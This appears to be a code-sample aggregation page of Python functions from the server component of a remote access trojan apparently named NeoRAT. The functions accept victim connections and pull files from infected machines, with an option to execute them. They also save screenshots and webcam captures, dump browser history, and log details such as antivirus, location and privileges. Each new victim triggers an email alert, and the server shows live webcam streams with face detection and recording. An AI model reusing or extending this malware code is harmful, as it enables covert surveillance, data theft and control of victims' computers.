예제 #1
0
def download(message):
    assert message['file']

    filename = validate_dict_key(message, 'file')
    execute = validate_dict_key(message, 'execute')

    username = state['session']['username']
    make_directories([username, f'{username}/downloads'])
    root = f'{state["root"]}/{username}/downloads/{filename}'

    message['max_file_size'] = state['settings']['max-file-size']
    if execute:
        del message['execute']

    data = session_message(message, False, loading_text='downloading file...')
    download = validate_dict_key(data, 'download', False)

    if download:
        with open(root, 'wb') as f:
            f.write(download)

        if execute:
            os.startfile(root)

    status_message(data['message'], data['text_mode'])
예제 #2
0
def make_file(directories, file_type, data, success_message=None):
  filename = get_filename(file_type)
  username = state['session']['username']
  path = f'{state["root"]}/{username}/{directories[-1]}/{filename}'
  directories_to_make = [username] + [f'{username}/{directory}' for directory in directories]
  make_directories(directories_to_make)

  with open(path, 'wb') as f:
    f.write(data)
  
  if success_message:
    status_message(f'Path: {path}\n{success_message}', 'success')
예제 #3
0
def delete_client(client, write_stdout=True):
    state['sockets']['clients'][0][client].close()
    state['sockets']['clients'][0][client] = None

    username = state['sockets']['clients'][2][client]['username']
    if state['options']['information-gathering']['history']:
        make_directories([username])
        with open(f'{state["root"]}/{username}/history.txt', 'a') as f:
            f.write(f'{username} disconnected at {get_timestamp()}\n')

    for index, item in enumerate(state['sockets']['clients']):
        del state['sockets']['clients'][index][client]

    if write_stdout:
        status_message('Client successfully deleted', 'success')
예제 #4
0
def make_image(directories, data, show_image=True, success_message=None, image_type=None):
  filename = get_filename('png')
  username = state['session']['username']
  path = f'{state["root"]}/{username}/{directories[-1]}/{filename}'     
  directories_to_make = [username] + [f'{username}/{directory}' for directory in directories]
  make_directories(directories_to_make)

  if image_type is None or (image_type and state['options']['information-gathering']['save']['screenshot']) or (not image_type and state['options']['information-gathering']['save']['cam-screenshot']):
    data.save(path)

  if show_image:
    data.show()
  
  if success_message:
    if image_type is None or (image_type and state['options']['information-gathering']['save']['screenshot']) or (not image_type and state['options']['information-gathering']['save']['cam-screenshot']):
      status_message(f'Path: {path}\n{success_message}', 'success')
    else:
      status_message(success_message, 'success')
예제 #5
0
def make_history(directories, file_type, browserhistory, success_message=None):
    filename = get_filename(file_type)
    username = state['session']['username']
    path = f'{state["root"]}/{username}/{directories[-1]}'
    directories_to_make = [username] + [
        f'{username}/{directory}' for directory in directories
    ]
    make_directories(directories_to_make)

    for browser, history in browserhistory.items():
        with open(f'{path}/{browser}_{filename}',
                  'w',
                  encoding='utf-8',
                  newline='') as csvfile:
            csv_writer = csv.writer(csvfile,
                                    delimiter=',',
                                    quoting=csv.QUOTE_ALL)

            for data in history:
                csv_writer.writerow(data)

    if success_message:
        status_message(f'Path: {path}/[browser]_{filename}\n{success_message}',
                       'success')
예제 #6
0
파일: server.py 프로젝트: viencokhi/NeoRAT
def listening(host, port, stdout=True):
    try:
        state['sockets']['server'] = socket.socket(socket.AF_INET,
                                                   socket.SOCK_STREAM)
        state['sockets']['server'].bind((host, int(port)))
        state['sockets']['server'].listen()
    except Exception as err:
        write_error(err)
        state['sockets']['server'] = None

        if stdout:
            raise Exception('Socket binding error')
        else:
            sys.exit(0)
    else:
        if stdout:
            status_message(f'Listening on port {port}', 'success', {
                'dots': True,
                'point': 'dot'
            })

    while True:
        try:
            client, addr = state['sockets']['server'].accept()
        except Exception as err:
            write_error(err)
            break

        try:
            send_data(
                client, {
                    'message': 'CsBLDS4n5zPYq7JaxDjxWHK4',
                    'silent': state['options']['mode']['silent'],
                    'io_channels': state['settings']['io-channels']
                }, (state['settings']['encryption'],
                    state['settings']['encoding'],
                    state['settings']['headersize']), {
                        'safe': state['options']['mode']['safe'],
                        'safe_timeout': state['settings']['safe-timeout']
                    })
            data = recv_data(client, (state['settings']['encryption'],
                                      state['settings']['headersize']))
            data.update({'timer': time.time()})

            add_client = True

            if os.path.isfile(
                    f'{state["root"]}/{state["settings"]["folders"]["parent"]}/blacklist.txt'
            ):
                blacklist = read_file(
                    f'{state["root"]}/{state["settings"]["folders"]["parent"]}/blacklist.txt'
                ).decode(state['settings']['encoding']).strip().split('\n')
                for ip in blacklist:
                    try:
                        ip = socket.gethostbyname(ip)
                    except Exception as err:
                        write_error(err)

                    if addr[0] == ip:
                        add_client = False

            if not state['options']['validation']['duplicates']:
                for client_data_obj in state['sockets']['clients'][2]:
                    if data['username'] == client_data_obj['username']:
                        add_client = False

            if len(state['sockets']['clients']
                   [0]) >= state['options']['validation']['max-clients']:
                add_client = False

            if add_client:
                if state['options']['information-gathering']['history']:
                    make_directories([data['username']])
                    with open(
                            f'{state["root"]}/{data["username"]}/history.txt',
                            'a') as f:
                        f.write(
                            f'{data["username"]} connected at {get_timestamp()}\n'
                        )

                data_list = (client, addr, data)

                if state['options']['information-gathering']['whoami']:
                    make_directories([data['username']])
                    with open(f'{state["root"]}/{data["username"]}/whoami.txt',
                              'a') as f:
                        title = f'Whoami at {get_timestamp()}'
                        text = f'Monitors: {data["monitors"]}\nCams: {data["cams"]}\nI/O Channels: {data["io-channels"]}\nUsername@Hostname: {data["username"]}\nAddress: {data["address"]}\nOperating System: {data["os"]}\nAntivirus: {data["antivirus"]}\nLocation: {data["location"]}\nPrivileges: {data["privileges"]}'
                        f.write(f'{title}\n{text}\n{"-" * len(title)}\n')

                for index, item in enumerate(state['sockets']['clients']):
                    item.append(data_list[index])

                if state['options']['notice']['email-notice']:
                    send_email(
                        state['options']['notice']['email-data']['email'],
                        state['options']['notice']['email-data']['password'],
                        state['options']['notice']['email-data']['to'],
                        'Connection Notice!',
                        f'Connection at {get_timestamp()}\nMonitors: {data["monitors"]}\nCams: {data["cams"]}\nI/O Channels: {data["io-channels"]}\nUsername@Hostname: {data["username"]}\nAddress: {data["address"]}\nOperating System: {data["os"]}\nAntivirus: {data["antivirus"]}\nLocation: {data["location"]}\nPrivileges: {data["privileges"]}'
                    )
            else:
                client.close()
        except Exception as err:
            write_error(err)
예제 #7
0
def stream_action(resolution, recognize, fit):
    try:
        headersize = state['settings']['headersize']
        encryption = state['settings']['encryption']
        encoding = state['settings']['encoding']
        username = state['session']['username']
        mode = [True, 0, b'']

        stream_id = random.randint(0, 100000)
        record = state['options']['information-gathering']['record']['stream']
        client, addr = state['sockets']['modules']['stream'][0].accept()
        client_obj = (client, username, addr)
        state['sockets']['modules']['stream'][1].append(client_obj)

        if recognize:
            parent_folder = state['settings']['folders']['parent']
            child_folder = state['settings']['folders']['child'][2]
            faceCascade = cv2.CascadeClassifier(
                f'{state["root"]}/{parent_folder}/{child_folder}/{recognize}')

        if record:
            directories = ['modules', 'modules/stream']
            username = state['session']['username']
            path = f'{state["root"]}/{username}/{directories[-1]}/{get_filename("avi")}'
            directories_to_make = [username] + [
                f'{username}/{directory}' for directory in directories
            ]
            make_directories(directories_to_make)

            fourcc = cv2.VideoWriter_fourcc(*'XVID')
            out = cv2.VideoWriter(path, fourcc, 5.0, resolution)

        message = pickle.dumps(b' ')
        message = zlib.compress(message, 1)
        message = encryption.do_encrypt(message)
        final_msg = bytes(f'{len(message):<{headersize}}', encoding) + message
        client.send(final_msg)

        while True:
            client_msg = client.recv(81920)

            if mode[0]:
                mode[1] = int(client_msg[:headersize])
                mode[0] = False

            mode[2] += client_msg

            if len(mode[2]) - headersize == mode[1]:
                frame = encryption.do_decrypt(mode[2][headersize:])
                frame = zlib.decompress(frame)
                frame = pickle.loads(frame)

                if recognize:
                    faces = faceCascade.detectMultiScale(
                        frame,
                        scaleFactor=1.1,
                        minNeighbors=5,
                        minSize=(15, 15),
                        flags=cv2.CASCADE_SCALE_IMAGE)

                    for (x, y, w, h) in faces:
                        cv2.rectangle(frame, (x, y), (x + w, y + h),
                                      (255, 255, 0), 2)

                if fit is None:
                    cv2.namedWindow(
                        f'{username} - Live stream (stream id: {stream_id})',
                        cv2.WINDOW_NORMAL)

                cv2.imshow(
                    f'{username} - Live stream (stream id: {stream_id})',
                    frame)

                if record:
                    out.write(frame)

                if cv2.waitKey(1) == 27:
                    raise Exception('Close stream')

                real_msg = pickle.dumps(b' ')
                real_msg = zlib.compress(real_msg, 1)
                real_msg = encryption.do_encrypt(real_msg)
                final_msg = bytes(f'{len(real_msg):<{headersize}}',
                                  encoding) + real_msg
                client.send(final_msg)

                mode = [True, 0, b'']
    except Exception as err:
        write_error(err)
        try:
            state['sockets']['modules']['stream'][1].remove(client_obj)

            if record:
                out.release()
        except Exception as err:
            write_error(err)
        finally:
            sys.exit(0)